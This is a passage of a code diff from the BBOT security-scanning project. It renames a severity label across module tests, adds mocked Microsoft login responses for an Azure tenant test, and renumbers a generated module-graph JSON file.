helpers.validators.validate_severity(" iNformational") == "INFORMATIONAL" + assert helpers.validators.validate_severity(" iNformational") == "INFO" assert helpers.validators.soft_validate(" iNformational", "severity") is True assert helpers.validators.soft_validate("NOPE", "severity") is False with pytest.raises(ValueError): diff --git a/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py b/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py index e69f50f5a1..d55163809a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py +++ b/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py @@ -188,7 +188,7 @@ def check(self, module_test, events): assert any( e.type == "FINDING" and e.data.get("name") == "Azure AD Desktop SSO Enabled" - and e.data.get("severity") == "INFORMATIONAL" + and e.data.get("severity") == "INFO" and e.data.get("confidence") == "MEDIUM" and "azure-sso" in e.tags for e in events @@ -208,7 +208,7 @@ def check(self, module_test, events): assert any( e.type == "FINDING" and e.data.get("name") == "Certificate-Based Authentication Enabled" - and e.data.get("severity") == "INFORMATIONAL" + and e.data.get("severity") == "INFO" and e.data.get("confidence") == "HIGH" and "azure-cba" in e.tags for e in events @@ -228,7 +228,7 @@ def check(self, module_test, events): assert any( e.type == "FINDING" and e.data.get("name") == "Azure Government Cloud Tenant" - and e.data.get("severity") == "INFORMATIONAL" + and e.data.get("severity") == "INFO" and e.data.get("confidence") == "HIGH" and "azure-gov-cloud" in e.tags for e in events @@ -268,7 +268,7 @@ def check(self, module_test, events): assert any( e.type == "FINDING" and e.data.get("name") == "Directory Synchronization Enabled" - and e.data.get("severity") == "INFORMATIONAL" + and e.data.get("severity") == "INFO" and e.data.get("confidence") == "HIGH" and "azure-dir-sync" in e.tags for e in events @@ -288,7 +288,7 @@ def check(self, module_test, events): assert any( e.type == "FINDING" and e.data.get("name") == "Federated Authentication Detected" - and e.data.get("severity") == "INFORMATIONAL" + and e.data.get("severity") == "INFO" and e.data.get("confidence") == "HIGH" and e.data.get("full_url") == self.federation_url # full_url preserves query string and e.data.get("url") == "https://authfs.example.com/adfs/ls/" # url is cleaned @@ -298,9 +298,7 @@ def check(self, module_test, events): # URL_UNVERIFIED also gets cleaned (query string removed) assert any( - e.type == "URL_UNVERIFIED" - and e.data == "https://authfs.example.com/adfs/ls/" - and "azure-federation-url" in e.tags + e.type == "URL_UNVERIFIED" and e.data == "https://authfs.example.com/adfs/ls/" and "ms-auth-url" in e.tags for e in events ), "Should emit URL_UNVERIFIED for federation URL" diff --git a/bbot/test/test_step_2/module_tests/test_module_discord.py b/bbot/test/test_step_2/module_tests/test_module_discord.py index 73b6e864e4..96f2d769d9 100644 --- a/bbot/test/test_step_2/module_tests/test_module_discord.py +++ b/bbot/test/test_step_2/module_tests/test_module_discord.py @@ -8,7 +8,7 @@ class TestDiscord(ModuleTestBase): modules_overrides = ["discord", "excavate", "badsecrets", "httpx"] webhook_url = "https://discord.com/api/webhooks/1234/deadbeef-P-uF-asdf" - config_overrides = {"modules": {"discord": {"webhook_url": webhook_url, "min_severity": "INFORMATIONAL"}}} + config_overrides = {"modules": {"discord": {"webhook_url": webhook_url, "min_severity": "INFO"}}} def custom_setup(self, module_test): respond_args = { diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index cef59084ec..d477b714b4 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -1113,8 +1113,8 @@ async def setup_after_prep(self, module_test): "ConfirmedRule": 'rule ConfirmedRule { meta: description = "Confirmed rule" severity = "HIGH" confidence = "CONFIRMED" strings: $text = "CONFIRMED_SECRET_DATA" condition: $text }', "HighConfidenceRule": 'rule HighConfidenceRule { meta: description = "High confidence rule" severity = "MEDIUM" confidence = "HIGH" strings: $text = "HIGH_CONFIDENCE_INDICATOR" condition: $text }', "ModerateConfidenceRule": 'rule ModerateConfidenceRule { meta: description = "Moderate confidence rule" severity = "LOW" confidence = "MEDIUM" strings: $text = "MODERATE_RISK_PATTERN" condition: $text }', - "LowConfidenceRule": 'rule LowConfidenceRule { meta: description = "Low confidence rule" severity = "INFORMATIONAL" confidence = "LOW" strings: $text = "LOW_CONFIDENCE_MATCH" condition: $text }', - "UnknownConfidenceRule": 'rule UnknownConfidenceRule { meta: description = "Unknown confidence rule" severity = "INFORMATIONAL" confidence = "UNKNOWN" strings: $text = "UNKNOWN_PATTERN_TYPE" condition: $text }', + "LowConfidenceRule": 'rule LowConfidenceRule { meta: description = "Low confidence rule" severity = "INFO" confidence = "LOW" strings: $text = "LOW_CONFIDENCE_MATCH" condition: $text }', + "UnknownConfidenceRule": 'rule UnknownConfidenceRule { meta: description = "Unknown confidence rule" severity = "INFO" confidence = "UNKNOWN" strings: $text = "UNKNOWN_PATTERN_TYPE" condition: $text }', } for rule_name, rule_content in yara_rules.items(): diff --git a/bbot/test/test_step_2/module_tests/test_module_hunt.py b/bbot/test/test_step_2/module_tests/test_module_hunt.py index 87b3463c1f..54ddfd49d0 100644 --- a/bbot/test/test_step_2/module_tests/test_module_hunt.py +++ b/bbot/test/test_step_2/module_tests/test_module_hunt.py @@ -26,7 +26,7 @@ def check(self, module_test, events): assert finding_event is not None # Hunt emits INFORMATIONAL severity and LOW confidence - assert finding_event.data["severity"] == "INFORMATIONAL" + assert finding_event.data["severity"] == "INFO" assert finding_event.data["confidence"] == "LOW" diff --git a/bbot/test/test_step_2/module_tests/test_module_oauth.py b/bbot/test/test_step_2/module_tests/test_module_oauth.py index 500050aaf0..746ef40cb3 100644 --- a/bbot/test/test_step_2/module_tests/test_module_oauth.py +++ b/bbot/test/test_step_2/module_tests/test_module_oauth.py @@ -4,7 +4,7 @@ class TestOAUTH(ModuleTestBase): targets = ["evilcorp.com"] config_overrides = {"scope": {"report_distance": 1}, "omit_event_types": []} - modules_overrides = ["azure_realm", "oauth"] + modules_overrides = ["azure_tenant", "oauth"] openid_config_azure = { "token_endpoint": "https://login.windows.net/cc74fc12-4142-400e-a653-f98bdeadbeef/oauth2/token", "token_endpoint_auth_methods_supported": ["client_secret_post", "private_key_jwt", "client_secret_basic"], @@ -164,16 +164,44 @@ class TestOAUTH(ModuleTestBase): async def setup_after_prep(self, module_test): await module_test.mock_dns({"evilcorp.com": {"A": ["127.0.0.1"]}}) + + # azure_tenant mocks + module_test.httpx_mock.add_response( + url="https://azmap.dev/api/tenant?domain=evilcorp.com&extract=true", + json={ + "tenant_id": "cc74fc12-4142-400e-a653-f98bdeadbeef", + "tenant_name": "evilcorp", + "email_domains": ["evilcorp.com"], + }, + ) + module_test.httpx_mock.add_response( + url="https://odc.officeapps.live.com/odc/v2.1/federationprovider?domain=evilcorp.com", + json={}, + ) module_test.httpx_mock.add_response( - url="https://login.microsoftonline.com/getuserrealm.srf?login=test@evilcorp.com", + url="https://login.microsoftonline.com/evilcorp.com/.well-known/openid-configuration", + json={}, + ) + module_test.httpx_mock.add_response( + url="https://login.microsoftonline.com/common/GetCredentialType", + method="POST", json={ - "NameSpaceType": "Managed", - "DomainName": "evilcorp.com", - "FederationBrandName": "evilcorp", - "TenantId": "cc74fc12-4142-400e-a653-f98bdeadbeef", - "AuthURL": "https://login.windows.net/evilcorp.com", + "Credentials": { + "FederationRedirectUrl": "https://evilcorp.okta.com/app/office365/deadbeef/sso/wsfed/passive", + }, + "EstsProperties": {}, }, ) + module_test.httpx_mock.add_response( + url="https://login.microsoftonline.com/common/userrealm/test@evilcorp.com?api-version=2.0", + json={}, + ) + module_test.httpx_mock.add_response( + url="https://mta-sts.evilcorp.com/.well-known/mta-sts.txt", + status_code=404, + ) + + # oauth module mocks module_test.httpx_mock.add_response( url="https://login.windows.net/evilcorp.com/.well-known/openid-configuration", json=self.openid_config_azure, diff --git a/bbot/test/test_step_2/module_tests/test_module_slack.py b/bbot/test/test_step_2/module_tests/test_module_slack.py index a2809bcaf1..9063552722 100644 --- a/bbot/test/test_step_2/module_tests/test_module_slack.py +++ b/bbot/test/test_step_2/module_tests/test_module_slack.py @@ -4,4 +4,4 @@ class TestSlack(DiscordBase): modules_overrides = ["slack", "excavate", "badsecrets", "httpx"] webhook_url = "https://hooks.slack.com/services/deadbeef/deadbeef/deadbeef" - config_overrides = {"modules": {"slack": {"webhook_url": webhook_url, "min_severity": "INFORMATIONAL"}}} + config_overrides = {"modules": {"slack": {"webhook_url": webhook_url, "min_severity": "INFO"}}} diff --git a/bbot/test/test_step_2/module_tests/test_module_teams.py b/bbot/test/test_step_2/module_tests/test_module_teams.py index 788cf45f8b..846adb7ec3 100644 --- a/bbot/test/test_step_2/module_tests/test_module_teams.py +++ b/bbot/test/test_step_2/module_tests/test_module_teams.py @@ -7,9 +7,7 @@ class TestTeams(DiscordBase): modules_overrides = ["teams", "excavate", "badsecrets", "httpx"] webhook_url = "https://evilcorp.webhook.office.com/webhookb2/deadbeef@deadbeef/IncomingWebhook/deadbeef/deadbeef" - config_overrides = { - "modules": {"teams": {"webhook_url": webhook_url, "retries": 5, "min_severity": "INFORMATIONAL"}} - } + config_overrides = {"modules": {"teams": {"webhook_url": webhook_url, "retries": 5, "min_severity": "INFO"}}} async def setup_after_prep(self, module_test): self.custom_setup(module_test) diff --git a/docs/data/chord_graph/entities.json b/docs/data/chord_graph/entities.json index 5afb9f73aa..42249d1893 100644 --- a/docs/data/chord_graph/entities.json +++ b/docs/data/chord_graph/entities.json @@ -23,36 +23,38 @@ ] }, { - "id": 141, + "id": 19, "name": "AZURE_TENANT", "parent": 88888888, "consumes": [ - 140 + 139 ], - "produces": [] + "produces": [ + 18 + ] }, { - "id": 46, + "id": 45, "name": "CODE_REPOSITORY", "parent": 88888888, "consumes": [ - 65, + 64, + 83, 84, - 85, - 89, - 92, - 127, - 148 + 88, + 91, + 126, + 146 ], "produces": [ - 45, - 66, - 83, + 44, + 65, + 82, + 85, 86, - 87, + 89, 90, - 91, - 126 + 125 ] }, { @@ -62,141 +64,140 @@ "consumes": [ 6, 15, - 19, + 18, 21, - 22, - 26, + 25, + 27, 28, 29, - 30, + 31, 32, 33, 34, 35, - 36, + 37, 38, - 39, + 42, 43, - 44, - 47, + 46, + 51, 52, 53, 54, 55, - 56, + 57, 58, 59, 60, 61, - 62, - 64, - 70, - 81, - 86, - 88, - 96, - 100, - 107, - 111, - 113, + 63, + 69, + 80, + 85, + 87, + 95, + 99, + 106, + 110, + 112, + 115, 116, - 117, + 120, 121, - 122, - 124, - 128, + 123, + 127, + 131, 132, 133, 134, 135, 136, - 137, - 140, + 139, + 141, + 142, 143, - 144, 145, - 147, - 151, - 154, - 155, - 157 + 149, + 152, + 153, + 155 ], "produces": [ 6, - 21, - 28, + 18, + 27, + 34, 35, - 36, + 37, 38, 39, - 40, + 42, 43, - 44, + 51, 52, - 53, - 55, + 54, + 57, 58, 59, 60, 61, 62, - 63, - 81, - 96, - 100, - 107, - 111, - 114, + 80, + 95, + 99, + 106, + 110, + 113, + 115, 116, - 117, - 121, - 128, - 132, + 120, + 127, + 131, + 133, 134, 135, - 136, + 139, 140, + 141, 142, - 143, - 144, - 147, - 151, + 145, + 149, + 150, 152, - 154, - 155, - 157 + 153, + 155 ] }, { - "id": 23, + "id": 22, "name": "DNS_NAME_UNRESOLVED", "parent": 88888888, "consumes": [ - 22, - 140, - 145 + 21, + 139, + 143 ], "produces": [] }, { - "id": 48, + "id": 47, "name": "EMAIL_ADDRESS", "parent": 88888888, "consumes": [ - 71 + 70 ], "produces": [ - 47, - 54, - 60, - 64, - 70, - 88, - 100, - 122, - 133, - 137, - 142 + 46, + 53, + 59, + 63, + 69, + 87, + 99, + 121, + 132, + 136, + 140 ] }, { @@ -204,21 +205,21 @@ "name": "FILESYSTEM", "parent": 88888888, "consumes": [ - 75, - 106, - 148, - 149 + 74, + 105, + 146, + 147 ], "produces": [ 8, - 65, - 79, + 64, + 78, + 83, 84, - 85, - 89, - 106, - 127, - 149 + 88, + 105, + 126, + 147 ] }, { @@ -227,61 +228,64 @@ "parent": 88888888, "consumes": [ 15, - 159 + 157 ], "produces": [ 1, - 22, - 24, + 14, + 18, + 21, + 23, + 25, 26, - 27, + 28, 29, - 30, + 31, 32, 33, - 34, - 37, - 83, - 91, - 95, - 97, - 99, + 36, + 68, + 81, + 82, + 90, + 94, + 96, + 98, + 107, 108, 109, - 112, + 111, + 113, 114, - 115, - 118, - 119, + 128, 129, - 130, - 135, - 138, - 140, + 134, + 137, + 139, + 144, 146, 148, - 150, - 160 + 158 ] }, { - "id": 103, + "id": 102, "name": "GEOLOCATION", "parent": 88888888, "consumes": [], "produces": [ - 102, - 105 + 101, + 104 ] }, { - "id": 49, + "id": 48, "name": "HASHED_PASSWORD", "parent": 88888888, "consumes": [], "produces": [ - 47, - 54 + 46, + 53 ] }, { @@ -291,25 +295,25 @@ "consumes": [ 1, 15, - 27, - 69, - 72, - 79, - 91, - 97, + 26, + 68, + 71, + 78, + 90, + 96, + 111, 112, 113, - 114, + 117, 118, 119, - 120, - 140, + 139, + 144, 146, - 148, - 160 + 158 ], "produces": [ - 98 + 97 ] }, { @@ -319,30 +323,30 @@ "consumes": [ 11, 15, - 40, - 102, + 39, + 101, + 103, 104, - 105, - 113, - 124, - 135, - 140 + 112, + 123, + 134, + 139 ], "produces": [ 15, - 40, - 63, - 104, - 140 + 39, + 62, + 103, + 139 ] }, { - "id": 125, + "id": 124, "name": "IP_RANGE", "parent": 88888888, "consumes": [ - 124, - 140 + 123, + 139 ], "produces": [] }, @@ -354,7 +358,7 @@ 8 ], "produces": [ - 92 + 91 ] }, { @@ -363,151 +367,152 @@ "parent": 88888888, "consumes": [ 15, - 80, - 98, - 113, - 123, - 142 + 79, + 97, + 112, + 122, + 140 ], "produces": [ 15, - 40, - 124, - 135, - 140 + 39, + 123, + 134, + 139 ] }, { - "id": 41, + "id": 40, "name": "OPEN_UDP_PORT", "parent": 88888888, "consumes": [], "produces": [ - 40 + 39 ] }, { - "id": 67, + "id": 66, "name": "ORG_STUB", "parent": 88888888, "consumes": [ - 66, - 87, - 92, - 126 + 65, + 86, + 91, + 125 ], "produces": [ - 140 + 139 ] }, { - "id": 50, + "id": 49, "name": "PASSWORD", "parent": 88888888, "consumes": [], "produces": [ - 47, - 54 + 46, + 53 ] }, { - "id": 42, + "id": 41, "name": "PROTOCOL", "parent": 88888888, "consumes": [ - 108, - 110, - 113 + 107, + 109, + 112 ], "produces": [ - 40, - 80 + 39, + 79 ] }, { - "id": 57, + "id": 56, "name": "RAW_DNS_RECORD", "parent": 88888888, "consumes": [], "produces": [ - 56, - 63, - 64 + 55, + 62, + 63 ] }, { - "id": 73, + "id": 72, "name": "RAW_TEXT", "parent": 88888888, "consumes": [ - 72, - 148 + 71, + 146 ], "produces": [ - 75 + 74 ] }, { - "id": 68, + "id": 67, "name": "SOCIAL", "parent": 88888888, "consumes": [ - 66, - 87, + 65, + 86, + 89, 90, - 91, - 93, - 126, - 140 + 92, + 125, + 139 ], "produces": [ - 66, - 88, - 91, - 139 + 65, + 87, + 90, + 138 ] }, { - "id": 25, + "id": 24, "name": "STORAGE_BUCKET", "parent": 88888888, "consumes": [ - 24, + 23, + 28, 29, 30, 31, 32, 33, - 34, - 140 + 139 ], "produces": [ + 28, 29, - 30, + 31, 32, - 33, - 34 + 33 ] }, { - "id": 17, + "id": 5, "name": "TECHNOLOGY", "parent": 88888888, "consumes": [ 15, - 91, - 159, - 160 + 90, + 157, + 158 ], "produces": [ - 27, - 40, - 69, - 91, - 93, - 115, - 135, - 160 + 1, + 26, + 39, + 68, + 90, + 92, + 114, + 134, + 158 ] }, { @@ -518,42 +523,42 @@ 1, 14, 15, - 24, - 37, - 76, + 23, + 36, + 75, + 81, 82, - 83, - 93, - 95, - 98, - 101, - 109, + 92, + 94, + 97, + 100, + 108, + 113, 114, - 115, - 123, - 131, - 138, - 140, - 146, + 122, + 130, + 137, + 139, + 144, + 148, 150, - 152, - 156, - 159 + 154, + 157 ], "produces": [ - 93, - 98 + 92, + 97 ] }, { - "id": 78, + "id": 77, "name": "URL_HINT", "parent": 88888888, "consumes": [ - 77 + 76 ], "produces": [ - 101 + 100 ] }, { @@ -561,124 +566,98 @@ "name": "URL_UNVERIFIED", "parent": 88888888, "consumes": [ - 45, - 79, - 98, - 116, - 123, - 130, - 139, - 140 + 44, + 78, + 97, + 115, + 122, + 129, + 138, + 139 ], "produces": [ - 19, - 28, - 31, - 40, - 56, - 60, - 64, - 66, - 72, + 18, + 27, + 30, + 39, + 55, + 59, + 63, + 65, + 71, + 75, 76, - 77, - 86, - 93, - 100, - 131, - 133, - 151, - 157, - 160 + 85, + 92, + 99, + 130, + 132, + 149, + 155, + 158 ] }, { - "id": 51, + "id": 50, "name": "USERNAME", "parent": 88888888, "consumes": [ - 140 + 139 ], "produces": [ - 47, - 54 + 46, + 53 ] }, { - "id": 153, + "id": 151, "name": "VHOST", "parent": 88888888, "consumes": [ - 159 - ], - "produces": [ - 152 - ] - }, - { - "id": 5, - "name": "VULNERABILITY", - "parent": 88888888, - "consumes": [ - 15, - 159 + 157 ], "produces": [ - 1, - 14, - 22, - 24, - 26, - 27, - 69, - 82, - 109, - 110, - 115, - 135, - 146, - 148, - 160 + 150 ] }, { - "id": 18, + "id": 17, "name": "WAF", "parent": 88888888, "consumes": [ 15 ], "produces": [ - 156 + 154 ] }, { - "id": 94, + "id": 93, "name": "WEBSCREENSHOT", "parent": 88888888, "consumes": [], "produces": [ - 93 + 92 ] }, { - "id": 74, + "id": 73, "name": "WEB_PARAMETER", "parent": 88888888, "consumes": [ - 99, - 109, + 98, + 108, + 117, 118, 119, - 120, - 129, - 158 + 128, + 156 ], "produces": [ - 72, + 71, + 117, 118, - 119, - 120 + 119 ] }, { @@ -735,7 +714,7 @@ 3 ], "produces": [ - 5 + 4 ] }, { @@ -748,10 +727,9 @@ 2, 12, 16, - 17, - 3, 5, - 18 + 3, + 17 ], "produces": [ 12, @@ -759,67 +737,56 @@ ] }, { - "id": 19, - "name": "azure_realm", + "id": 18, + "name": "azure_tenant", "parent": 99999999, "consumes": [ 7 ], "produces": [ + 19, + 7, + 4, 20 ] }, { "id": 21, - "name": "azure_tenant", - "parent": 99999999, - "consumes": [ - 7 - ], - "produces": [ - 7 - ] - }, - { - "id": 22, "name": "baddns", "parent": 99999999, "consumes": [ 7, - 23 + 22 ], "produces": [ - 4, - 5 + 4 ] }, { - "id": 24, + "id": 23, "name": "baddns_direct", "parent": 99999999, "consumes": [ - 25, + 24, 3 ], "produces": [ - 4, - 5 + 4 ] }, { - "id": 26, + "id": 25, "name": "baddns_zone", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 4, - 5 + 4 ] }, { - "id": 27, + "id": 26, "name": "badsecrets", "parent": 99999999, "consumes": [ @@ -827,12 +794,11 @@ ], "produces": [ 4, - 17, 5 ] }, { - "id": 28, + "id": 27, "name": "bevigil", "parent": 99999999, "consumes": [ @@ -844,83 +810,83 @@ ] }, { - "id": 29, + "id": 28, "name": "bucket_amazon", "parent": 99999999, "consumes": [ 7, - 25 + 24 ], "produces": [ 4, - 25 + 24 ] }, { - "id": 30, + "id": 29, "name": "bucket_digitalocean", "parent": 99999999, "consumes": [ 7, - 25 + 24 ], "produces": [ 4, - 25 + 24 ] }, { - "id": 31, + "id": 30, "name": "bucket_file_enum", "parent": 99999999, "consumes": [ - 25 + 24 ], "produces": [ 20 ] }, { - "id": 32, + "id": 31, "name": "bucket_firebase", "parent": 99999999, "consumes": [ 7, - 25 + 24 ], "produces": [ 4, - 25 + 24 ] }, { - "id": 33, + "id": 32, "name": "bucket_google", "parent": 99999999, "consumes": [ 7, - 25 + 24 ], "produces": [ 4, - 25 + 24 ] }, { - "id": 34, + "id": 33, "name": "bucket_microsoft", "parent": 99999999, "consumes": [ 7, - 25 + 24 ], "produces": [ 4, - 25 + 24 ] }, { - "id": 35, + "id": 34, "name": "bufferoverrun", "parent": 99999999, "consumes": [ @@ -931,7 +897,7 @@ ] }, { - "id": 36, + "id": 35, "name": "builtwith", "parent": 99999999, "consumes": [ @@ -942,7 +908,7 @@ ] }, { - "id": 37, + "id": 36, "name": "bypass403", "parent": 99999999, "consumes": [ @@ -953,7 +919,7 @@ ] }, { - "id": 38, + "id": 37, "name": "c99", "parent": 99999999, "consumes": [ @@ -964,7 +930,7 @@ ] }, { - "id": 39, + "id": 38, "name": "censys_dns", "parent": 99999999, "consumes": [ @@ -975,7 +941,7 @@ ] }, { - "id": 40, + "id": 39, "name": "censys_ip", "parent": 99999999, "consumes": [ @@ -985,14 +951,14 @@ 7, 12, 16, + 40, 41, - 42, - 17, + 5, 20 ] }, { - "id": 43, + "id": 42, "name": "certspotter", "parent": 99999999, "consumes": [ @@ -1003,7 +969,7 @@ ] }, { - "id": 44, + "id": 43, "name": "chaos", "parent": 99999999, "consumes": [ @@ -1014,32 +980,32 @@ ] }, { - "id": 45, + "id": 44, "name": "code_repository", "parent": 99999999, "consumes": [ 20 ], "produces": [ - 46 + 45 ] }, { - "id": 47, + "id": 46, "name": "credshed", "parent": 99999999, "consumes": [ 7 ], "produces": [ + 47, 48, 49, - 50, - 51 + 50 ] }, { - "id": 52, + "id": 51, "name": "crt", "parent": 99999999, "consumes": [ @@ -1050,7 +1016,7 @@ ] }, { - "id": 53, + "id": 52, "name": "crt_db", "parent": 99999999, "consumes": [ @@ -1061,21 +1027,21 @@ ] }, { - "id": 54, + "id": 53, "name": "dehashed", "parent": 99999999, "consumes": [ 7 ], "produces": [ + 47, 48, 49, - 50, - 51 + 50 ] }, { - "id": 55, + "id": 54, "name": "digitorus", "parent": 99999999, "consumes": [ @@ -1086,19 +1052,19 @@ ] }, { - "id": 56, + "id": 55, "name": "dnsbimi", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 57, + 56, 20 ] }, { - "id": 58, + "id": 57, "name": "dnsbrute", "parent": 99999999, "consumes": [ @@ -1109,7 +1075,7 @@ ] }, { - "id": 59, + "id": 58, "name": "dnsbrute_mutations", "parent": 99999999, "consumes": [ @@ -1120,7 +1086,7 @@ ] }, { - "id": 60, + "id": 59, "name": "dnscaa", "parent": 99999999, "consumes": [ @@ -1128,12 +1094,12 @@ ], "produces": [ 7, - 48, + 47, 20 ] }, { - "id": 61, + "id": 60, "name": "dnscommonsrv", "parent": 99999999, "consumes": [ @@ -1144,7 +1110,7 @@ ] }, { - "id": 62, + "id": 61, "name": "dnsdumpster", "parent": 99999999, "consumes": [ @@ -1155,112 +1121,112 @@ ] }, { - "id": 63, + "id": 62, "name": "dnsresolve", "parent": 99999999, "consumes": [], "produces": [ 7, 12, - 57 + 56 ] }, { - "id": 64, + "id": 63, "name": "dnstlsrpt", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 48, - 57, + 47, + 56, 20 ] }, { - "id": 65, + "id": 64, "name": "docker_pull", "parent": 99999999, "consumes": [ - 46 + 45 ], "produces": [ 10 ] }, { - "id": 66, + "id": 65, "name": "dockerhub", "parent": 99999999, "consumes": [ - 67, - 68 + 66, + 67 ], "produces": [ - 46, - 68, + 45, + 67, 20 ] }, { - "id": 69, + "id": 68, "name": "dotnetnuke", "parent": 99999999, "consumes": [ 2 ], "produces": [ - 17, + 4, 5 ] }, { - "id": 70, + "id": 69, "name": "emailformat", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 48 + 47 ] }, { - "id": 71, + "id": 70, "name": "emails", "parent": 99999999, "consumes": [ - 48 + 47 ], "produces": [] }, { - "id": 72, + "id": 71, "name": "excavate", "parent": 99999999, "consumes": [ 2, - 73 + 72 ], "produces": [ 20, - 74 + 73 ] }, { - "id": 75, + "id": 74, "name": "extractous", "parent": 99999999, "consumes": [ 10 ], "produces": [ - 73 + 72 ] }, { - "id": 76, + "id": 75, "name": "ffuf", "parent": 99999999, "consumes": [ @@ -1271,18 +1237,18 @@ ] }, { - "id": 77, + "id": 76, "name": "ffuf_shortnames", "parent": 99999999, "consumes": [ - 78 + 77 ], "produces": [ 20 ] }, { - "id": 79, + "id": 78, "name": "filedownload", "parent": 99999999, "consumes": [ @@ -1294,18 +1260,18 @@ ] }, { - "id": 80, + "id": 79, "name": "fingerprintx", "parent": 99999999, "consumes": [ 16 ], "produces": [ - 42 + 41 ] }, { - "id": 81, + "id": 80, "name": "fullhunt", "parent": 99999999, "consumes": [ @@ -1316,153 +1282,153 @@ ] }, { - "id": 82, + "id": 81, "name": "generic_ssrf", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 5 + 4 ] }, { - "id": 83, + "id": 82, "name": "git", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 46, + 45, 4 ] }, { - "id": 84, + "id": 83, "name": "git_clone", "parent": 99999999, "consumes": [ - 46 + 45 ], "produces": [ 10 ] }, { - "id": 85, + "id": 84, "name": "gitdumper", "parent": 99999999, "consumes": [ - 46 + 45 ], "produces": [ 10 ] }, { - "id": 86, + "id": 85, "name": "github_codesearch", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 46, + 45, 20 ] }, { - "id": 87, + "id": 86, "name": "github_org", "parent": 99999999, "consumes": [ - 67, - 68 + 66, + 67 ], "produces": [ - 46 + 45 ] }, { - "id": 88, + "id": 87, "name": "github_usersearch", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 48, - 68 + 47, + 67 ] }, { - "id": 89, + "id": 88, "name": "github_workflows", "parent": 99999999, "consumes": [ - 46 + 45 ], "produces": [ 10 ] }, { - "id": 90, + "id": 89, "name": "gitlab_com", "parent": 99999999, "consumes": [ - 68 + 67 ], "produces": [ - 46 + 45 ] }, { - "id": 91, + "id": 90, "name": "gitlab_onprem", "parent": 99999999, "consumes": [ 2, - 68, - 17 + 67, + 5 ], "produces": [ - 46, + 45, 4, - 68, - 17 + 67, + 5 ] }, { - "id": 92, + "id": 91, "name": "google_playstore", "parent": 99999999, "consumes": [ - 46, - 67 + 45, + 66 ], "produces": [ 9 ] }, { - "id": 93, + "id": 92, "name": "gowitness", "parent": 99999999, "consumes": [ - 68, + 67, 3 ], "produces": [ - 17, + 5, 3, 20, - 94 + 93 ] }, { - "id": 95, + "id": 94, "name": "graphql_introspection", "parent": 99999999, "consumes": [ @@ -1473,7 +1439,7 @@ ] }, { - "id": 96, + "id": 95, "name": "hackertarget", "parent": 99999999, "consumes": [ @@ -1484,7 +1450,7 @@ ] }, { - "id": 97, + "id": 96, "name": "host_header", "parent": 99999999, "consumes": [ @@ -1495,7 +1461,7 @@ ] }, { - "id": 98, + "id": 97, "name": "httpx", "parent": 99999999, "consumes": [ @@ -1509,18 +1475,18 @@ ] }, { - "id": 99, + "id": 98, "name": "hunt", "parent": 99999999, "consumes": [ - 74 + 73 ], "produces": [ 4 ] }, { - "id": 100, + "id": 99, "name": "hunterio", "parent": 99999999, "consumes": [ @@ -1528,34 +1494,34 @@ ], "produces": [ 7, - 48, + 47, 20 ] }, { - "id": 101, + "id": 100, "name": "iis_shortnames", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 78 + 77 ] }, { - "id": 102, + "id": 101, "name": "ip2location", "parent": 99999999, "consumes": [ 12 ], "produces": [ - 103 + 102 ] }, { - "id": 104, + "id": 103, "name": "ipneighbor", "parent": 99999999, "consumes": [ @@ -1566,18 +1532,18 @@ ] }, { - "id": 105, + "id": 104, "name": "ipstack", "parent": 99999999, "consumes": [ 12 ], "produces": [ - 103 + 102 ] }, { - "id": 106, + "id": 105, "name": "jadx", "parent": 99999999, "consumes": [ @@ -1588,7 +1554,7 @@ ] }, { - "id": 107, + "id": 106, "name": "leakix", "parent": 99999999, "consumes": [ @@ -1599,42 +1565,41 @@ ] }, { - "id": 108, + "id": 107, "name": "legba", "parent": 99999999, "consumes": [ - 42 + 41 ], "produces": [ 4 ] }, { - "id": 109, + "id": 108, "name": "lightfuzz", "parent": 99999999, "consumes": [ 3, - 74 + 73 ], "produces": [ - 4, - 5 + 4 ] }, { - "id": 110, + "id": 109, "name": "medusa", "parent": 99999999, "consumes": [ - 42 + 41 ], "produces": [ - 5 + 4 ] }, { - "id": 111, + "id": 110, "name": "myssl", "parent": 99999999, "consumes": [ @@ -1645,7 +1610,7 @@ ] }, { - "id": 112, + "id": 111, "name": "newsletters", "parent": 99999999, "consumes": [ @@ -1656,7 +1621,7 @@ ] }, { - "id": 113, + "id": 112, "name": "nmap_xml", "parent": 99999999, "consumes": [ @@ -1664,12 +1629,12 @@ 2, 12, 16, - 42 + 41 ], "produces": [] }, { - "id": 114, + "id": 113, "name": "ntlm", "parent": 99999999, "consumes": [ @@ -1682,7 +1647,7 @@ ] }, { - "id": 115, + "id": 114, "name": "nuclei", "parent": 99999999, "consumes": [ @@ -1690,12 +1655,11 @@ ], "produces": [ 4, - 17, 5 ] }, { - "id": 116, + "id": 115, "name": "oauth", "parent": 99999999, "consumes": [ @@ -1707,7 +1671,7 @@ ] }, { - "id": 117, + "id": 116, "name": "otx", "parent": 99999999, "consumes": [ @@ -1718,45 +1682,43 @@ ] }, { - "id": 118, + "id": 117, "name": "paramminer_cookies", "parent": 99999999, "consumes": [ 2, - 74 + 73 ], "produces": [ - 4, - 74 + 73 ] }, { - "id": 119, + "id": 118, "name": "paramminer_getparams", "parent": 99999999, "consumes": [ 2, - 74 + 73 ], "produces": [ - 4, - 74 + 73 ] }, { - "id": 120, + "id": 119, "name": "paramminer_headers", "parent": 99999999, "consumes": [ 2, - 74 + 73 ], "produces": [ - 74 + 73 ] }, { - "id": 121, + "id": 120, "name": "passivetotal", "parent": 99999999, "consumes": [ @@ -1767,18 +1729,18 @@ ] }, { - "id": 122, + "id": 121, "name": "pgp", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 48 + 47 ] }, { - "id": 123, + "id": 122, "name": "portfilter", "parent": 99999999, "consumes": [ @@ 